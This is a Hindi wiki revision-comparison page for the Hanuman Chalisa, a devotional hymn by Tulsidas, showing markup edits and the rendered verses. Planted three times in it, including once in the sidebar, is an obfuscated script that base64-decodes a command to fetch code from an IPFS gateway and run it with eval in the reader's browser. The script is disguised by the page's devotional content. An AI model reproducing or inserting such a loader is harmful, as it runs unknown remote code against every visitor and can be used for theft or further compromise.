"हनुमान चालीसा" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
छो (Text replace - 'गुरू' to 'गुरु')
छो (Text replace - " ।" to "।")
 
(४ सदस्यों द्वारा किये गये बीच के १२ अवतरण नहीं दर्शाए गए)
पंक्ति १: पंक्ति १:
 
{{menu}}
 
{{menu}}
 
==श्री हनुमान चालीसा / Hanuman Chalisa==
 
==श्री हनुमान चालीसा / Hanuman Chalisa==
{{हनुमान}}
+
[[चित्र:Hanuman.jpg|thumb|250|[[हनुमान]] <br />Hanuman]]
[[चित्र:Hanuman.jpg|thumb|250|हनुमान<br /> Hanuman]]<br />
 
 
'''तुलसीदास रचित श्री हनुमान चालीसा'''
 
'''तुलसीदास रचित श्री हनुमान चालीसा'''
  
श्रीगुरु चरण सरोज रज, निज मनु मुकुरु सुधारि ।<br />
+
<poem>श्रीगुरु चरण सरोज रज, निज मनु मुकुरु सुधारि।
वरनऊँ रघुवर विमल जसु, जो दायकु फल चारि ॥<br />
+
बरनऊँ रघुवर विमल जसु, जो दायकु फल चारि ॥
बुद्धिहीन तनु जानिके, सुमिरो पवन कुमार ।<br />
+
बुद्धिहीन तनु जानिके, सुमिरो पवन कुमार।
बल बुद्धि विद्या देहु मोहिं, हरहु कलेश विकार ॥<br />
+
बल बुद्धि विद्या देहु मोहिं, हरहु कलेश विकार ॥</poem>
 
 
जय हनुमान ज्ञान गुन सागर । जय कपीस तिहुँ लोक उजागर ॥<br />
 
राम दूत अतुलित बल धामा । अंजनिपुत्र पवन सुत नामा ॥<br />
 
महावीर बेक्रम बजरंगी । कुमति निवार सुमिति के संगी ॥<br />
 
कंचन वरन विराज सुवेसा । कानन कुण्डल कुंचित केसा ॥<br />
 
हाथ बज्र औ ध्वजा विराजै । काँधे मूँज जनेऊ साजै ॥<br />
 
शंकर सुवन केसरीनंदन । तेज प्रताप महा जग बंदन ॥<br />
 
विद्यावान गुनी अति चातुर । राम काज करिबे को आतुर ॥<br />
 
प्रभु चरित्र सुनिबे को रसिया । राम लखन सीता मन बसिया ॥<br />
 
सूक्ष्म रूप धरि सियहीं देखावा । बिकट रूप धरि लंक जरावा ॥<br />
 
भीम रूप धरि असुर सँहारे । रामचंन्द्र जी के काज सँवारे ॥<br />
 
लाय सजीवन लखन जियाये । श्री रघुबीर हरषि उर लाये ॥<br />
 
रघुपति कीन्ही बहुत बड़ाई । तुम मम प्रिय भरतहि सम भाई ॥<br />
 
सहस बदन तुम्हरो जस गावैं । अस कहि श्रीपति कंठ लगावैं ॥<br />
 
सनकादिक ब्रह्मादि मुनीसा । नारद सारद सहित अहीसा ॥<br />
 
जम कुबेर दिगपाल जहाँ ते । कबि कोबिद कहि सके कहाँ ते ॥<br />
 
तुम उपकार सुग्रीवहिं कीन्हा । राम मिलाय राज पद दीन्हा ॥<br />
 
तुम्हरो मंत्र विभीषन माना । लंकेश्वर भय सब जग जाना ॥<br />
 
जुग सहस्त्र जोजन पर भानु । लील्यो ताहि मधुर फल जानु ॥<br />
 
प्रभु मुद्रिका मेलि मुख माहीं । जलधि लाँघि गये अचरज नाहीं ॥<br />
 
दु्र्गम काज जगत के जेते । सुगम अनुग्रह तुम्हरे तेते ॥<br />
 
राम दुआरे तुम रखवारे । होत न आज्ञा बिनु पैसारे ॥<br />
 
सब सुख लहैं तुम्हारी सरना । तुम रच्छक काहू को डर ना ॥<br />
 
आपन तेज सम्हारो आपै । तीनों लोक हाँक तें काँपै ॥<br />
 
भूत पिसाच निकट नहिं आवै । महावीर जब नाम सुनावैं ॥<br />
 
नासै रोग हरै सब पीरा । जपत निरंतर हनुमत बीरा ॥<br />
 
संकट तें हनुमान छुड़ावै । मन क्रम वचन ध्यान जो लावै ॥<br />
 
सब पर राम तपस्वीं राजा । तिन के काज सकल तुम साजा ॥<br />
 
और मनोरथ जो कोइ लावै । सोइ अमित जीवन फल पावै ॥<br />
 
चारों जुग परताप तुम्हारा । है परसिद्ध जगत उजियारा ॥<br />
 
साधु संत के तुम रखबारे । असुर निकंदन राम दुलारे ॥<br />
 
अष्ट सिद्धि नौ निधि के दाता । अस बर दीन जानकी माता ॥<br />
 
राम रसायन तुम्हरे पासा । सदा रहो रघुपति के दासा ॥<br />
 
तुम्हरो भजन राम को पावै । जनम जनम के दुख बिसरावै ॥<br />
 
अंत काल रघुबर पुर जाई । जहाँ जन्म हरि भक्त कहाई ॥<br />
 
और देवता चित्त न धरई । हनुमत सेइ सर्ब सुख करई ॥<br />
 
संकट कटै मिटै सब पीरा । जो सुमिरैं हनुमत बलबीरा ॥<br />
 
जै जै जै हनुमान गोसाईं । कृपा करहु गुरु देव की नाईं ॥<br />
 
जो सत बार पाठ कर कोई । छूटहीं बंदि महा सुख होई ॥<br />
 
जो यह पढै हनुमान चलीसा । होय सिद्धि साखी गौरीसा ॥<br />
 
तुलसीदास सदा हरि चेरा । कीजै नाथ हृदय मँह डेरा ॥<br />
 
  
 +
<poem>जय हनुमान ज्ञान गुन सागर। जय कपीस तिहुँ लोक उजागर ॥
 +
राम दूत अतुलित बल धामा। अंजनिपुत्र पवन सुत नामा ॥
 +
महावीर बिक्रम बजरंगी। कुमति निवार सुमिति के संगी ॥
 +
कंचन बरन विराज सुवेसा। कानन कुण्डल कुंचित केसा ॥
 +
हाथ बज्र औ ध्वजा विराजै। काँधे मूँज जनेऊ साजै ॥
 +
शंकर सुवन केसरीनंदन। तेज प्रताप महा जग बंदन ॥
 +
विद्यावान गुनी अति चातुर। राम काज करिबे को आतुर ॥
 +
प्रभु चरित्र सुनिबे को रसिया। राम लखन सीता मन बसिया ॥
 +
सूक्ष्म रूप धरि सियहीं दिखावा। बिकट रूप धरि लंक जरावा ॥
 +
भीम रूप धरि असुर सँहारे। रामचंन्द्र जी के काज सँवारे ॥
 +
लाय सजीवन लखन जियाये। श्री रघुबीर हरषि उर लाये ॥
 +
रघुपति कीन्ही बहुत बड़ाई। तुम मम प्रिय भरतहि सम भाई ॥
 +
सहस बदन तुम्हरो जस गावैं। अस कहि श्रीपति कंठ लगावैं ॥
 +
सनकादिक ब्रह्मादि मुनीसा। नारद सारद सहित अहीसा ॥
 +
जम कुबेर दिगपाल जहाँ ते। कबि कोबिद कहि सके कहाँ ते ॥
 +
तुम उपकार सुग्रीवहिं कीन्हा। राम मिलाय राज पद दीन्हा ॥
 +
तुम्हरो मन्त्र विभीषन माना। लंकेश्वर भय सब जग जाना ॥
 +
जुग सहस्त्र जोजन पर भानु। लील्यो ताहि मधुर फल जानु ॥
 +
प्रभु मुद्रिका मेलि मुख माहीं। जलधि लाँघि गये अचरज नाहीं ॥
 +
दु्र्गम काज जगत के जेते। सुगम अनुग्रह तुम्हरे तेते ॥
 +
राम दुआरे तुम रखवारे। होत न आज्ञा बिनु पैसारे ॥
 +
सब सुख लहैं तुम्हारी सरना। तुम रच्छक काहू को डर ना ॥
 +
आपन तेज सम्हारो आपै। तीनों लोक हाँक तें काँपै ॥
 +
भूत पिसाच निकट नहिं आवै। महावीर जब नाम सुनावैं ॥
 +
नासै रोग हरै सब पीरा। जपत निरंतर हनुमत बीरा ॥
 +
संकट तें हनुमान छुड़ावै। मन क्रम वचन ध्यान जो लावै ॥
 +
सब पर राम तपस्वीं राजा। तिन के काज सकल तुम साजा ॥
 +
और मनोरथ जो कोइ लावै। सोइ अमित जीवन फल पावै ॥
 +
चारों जुग परताप तुम्हारा। है परसिद्ध जगत उजियारा ॥
 +
साधु संत के तुम रखबारे। असुर निकंदन राम दुलारे ॥
 +
अष्ट सिद्धि नौ निधि के दाता। अस बर दीन जानकी माता ॥
 +
राम रसायन तुम्हरे पासा। सदा रहो रघुपति के दासा ॥
 +
तुम्हरो भजन राम को पावै। जनम जनम के दुख बिसरावै ॥
 +
अंत काल रघुबर पुर जाई। जहाँ जन्म हरि भक्त कहाई ॥
 +
और देवता चित्त न धरई। हनुमत सेइ सर्ब सुख करई ॥
 +
संकट कटै मिटै सब पीरा। जो सुमिरैं हनुमत बलबीरा ॥
 +
जै जै जै हनुमान गोसाईं। कृपा करहु गुरु देव की नाईं ॥
 +
जो सत बार पाठ कर कोई। छूटहीं बंदि महा सुख होई ॥
 +
जो यह पढै हनुमान चलीसा। होय सिद्धि साखी गौरीसा ॥
 +
तुलसीदास सदा हरि चेरा। कीजै नाथ हृदय मँह डेरा ॥</poem>
  
पवनतनय संकट हरन, मंगल मूरति रुप ।<br />
 
राम लखन सीता सहित, हृदय बसहु सुर भूप ॥<br />
 
  
 +
<poem>पवनतनय संकट हरन, मंगल मूरति रुप।
 +
राम लखन सीता सहित, हृदय बसहु सुर भूप ॥
 +
</poem>
 
॥ समाप्त ॥
 
॥ समाप्त ॥
  
 
ॐ नमः हनुमंताये ॐ नमः वासुदेवाये ॐ नमः हरि प्रिय पद्मा<br />
 
ॐ नमः हनुमंताये ॐ नमः वासुदेवाये ॐ नमः हरि प्रिय पद्मा<br />
जय श्री हनुमान जय श्री सीया राम लखन<br />
+
जय श्री हनुमान जय श्री सीया राम लखन
  
 
+
==सम्बंधित लिंक==
[[श्रेणी: कोश]]
+
{{हनुमान2}}
[[category:भगवान-अवतार]]
+
{{हनुमान}}
[[category:भक्ति]]
+
[[Category: कोश]]
 +
[[Category:भगवान-अवतार]]
 +
[[Category:भक्ति]] [[Category:आरती संग्रह]]
 
__INDEX__
 
__INDEX__

१३:११, २ नवम्बर २०१३ के समय का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

श्री हनुमान चालीसा / Hanuman Chalisa

थंबनेल बनाने में त्रुटि हुई है: /bin/bash: /usr/local/bin/convert: No such file or directory Error code: 127

तुलसीदास रचित श्री हनुमान चालीसा

श्रीगुरु चरण सरोज रज, निज मनु मुकुरु सुधारि।
बरनऊँ रघुवर विमल जसु, जो दायकु फल चारि ॥
बुद्धिहीन तनु जानिके, सुमिरो पवन कुमार।
बल बुद्धि विद्या देहु मोहिं, हरहु कलेश विकार ॥

जय हनुमान ज्ञान गुन सागर। जय कपीस तिहुँ लोक उजागर ॥
राम दूत अतुलित बल धामा। अंजनिपुत्र पवन सुत नामा ॥
महावीर बिक्रम बजरंगी। कुमति निवार सुमिति के संगी ॥
कंचन बरन विराज सुवेसा। कानन कुण्डल कुंचित केसा ॥
हाथ बज्र औ ध्वजा विराजै। काँधे मूँज जनेऊ साजै ॥
शंकर सुवन केसरीनंदन। तेज प्रताप महा जग बंदन ॥
विद्यावान गुनी अति चातुर। राम काज करिबे को आतुर ॥
प्रभु चरित्र सुनिबे को रसिया। राम लखन सीता मन बसिया ॥
सूक्ष्म रूप धरि सियहीं दिखावा। बिकट रूप धरि लंक जरावा ॥
भीम रूप धरि असुर सँहारे। रामचंन्द्र जी के काज सँवारे ॥
लाय सजीवन लखन जियाये। श्री रघुबीर हरषि उर लाये ॥
रघुपति कीन्ही बहुत बड़ाई। तुम मम प्रिय भरतहि सम भाई ॥
सहस बदन तुम्हरो जस गावैं। अस कहि श्रीपति कंठ लगावैं ॥
सनकादिक ब्रह्मादि मुनीसा। नारद सारद सहित अहीसा ॥
जम कुबेर दिगपाल जहाँ ते। कबि कोबिद कहि सके कहाँ ते ॥
तुम उपकार सुग्रीवहिं कीन्हा। राम मिलाय राज पद दीन्हा ॥
तुम्हरो मन्त्र विभीषन माना। लंकेश्वर भय सब जग जाना ॥
जुग सहस्त्र जोजन पर भानु। लील्यो ताहि मधुर फल जानु ॥
प्रभु मुद्रिका मेलि मुख माहीं। जलधि लाँघि गये अचरज नाहीं ॥
दु्र्गम काज जगत के जेते। सुगम अनुग्रह तुम्हरे तेते ॥
राम दुआरे तुम रखवारे। होत न आज्ञा बिनु पैसारे ॥
सब सुख लहैं तुम्हारी सरना। तुम रच्छक काहू को डर ना ॥
आपन तेज सम्हारो आपै। तीनों लोक हाँक तें काँपै ॥
भूत पिसाच निकट नहिं आवै। महावीर जब नाम सुनावैं ॥
नासै रोग हरै सब पीरा। जपत निरंतर हनुमत बीरा ॥
संकट तें हनुमान छुड़ावै। मन क्रम वचन ध्यान जो लावै ॥
सब पर राम तपस्वीं राजा। तिन के काज सकल तुम साजा ॥
और मनोरथ जो कोइ लावै। सोइ अमित जीवन फल पावै ॥
चारों जुग परताप तुम्हारा। है परसिद्ध जगत उजियारा ॥
साधु संत के तुम रखबारे। असुर निकंदन राम दुलारे ॥
अष्ट सिद्धि नौ निधि के दाता। अस बर दीन जानकी माता ॥
राम रसायन तुम्हरे पासा। सदा रहो रघुपति के दासा ॥
तुम्हरो भजन राम को पावै। जनम जनम के दुख बिसरावै ॥
अंत काल रघुबर पुर जाई। जहाँ जन्म हरि भक्त कहाई ॥
और देवता चित्त न धरई। हनुमत सेइ सर्ब सुख करई ॥
संकट कटै मिटै सब पीरा। जो सुमिरैं हनुमत बलबीरा ॥
जै जै जै हनुमान गोसाईं। कृपा करहु गुरु देव की नाईं ॥
जो सत बार पाठ कर कोई। छूटहीं बंदि महा सुख होई ॥
जो यह पढै हनुमान चलीसा। होय सिद्धि साखी गौरीसा ॥
तुलसीदास सदा हरि चेरा। कीजै नाथ हृदय मँह डेरा ॥


पवनतनय संकट हरन, मंगल मूरति रुप।
राम लखन सीता सहित, हृदय बसहु सुर भूप ॥

॥ समाप्त ॥

ॐ नमः हनुमंताये ॐ नमः वासुदेवाये ॐ नमः हरि प्रिय पद्मा
जय श्री हनुमान जय श्री सीया राम लखन

सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • हनुमान सम्बंधित लेख
    • हनुमान|हनुमान
    • हनुमान जी की आरती|आरती
    • हनुमान चालीसा|चालीसा
    • हनुमान बजरंग बाण|बजरंग बाण
    • हनुमान जयन्ती|हनुमान जयन्ती
    • राम|राम
    • लक्ष्मण|लक्ष्मण
    • सीता|सीता
    • रामायण|रामायण
    • सुग्रीव|सुग्रीव
    • अंगद|अंगद
    • लंका|लंका
    • शिव के अवतार|शिव के अवतार

</sidebar>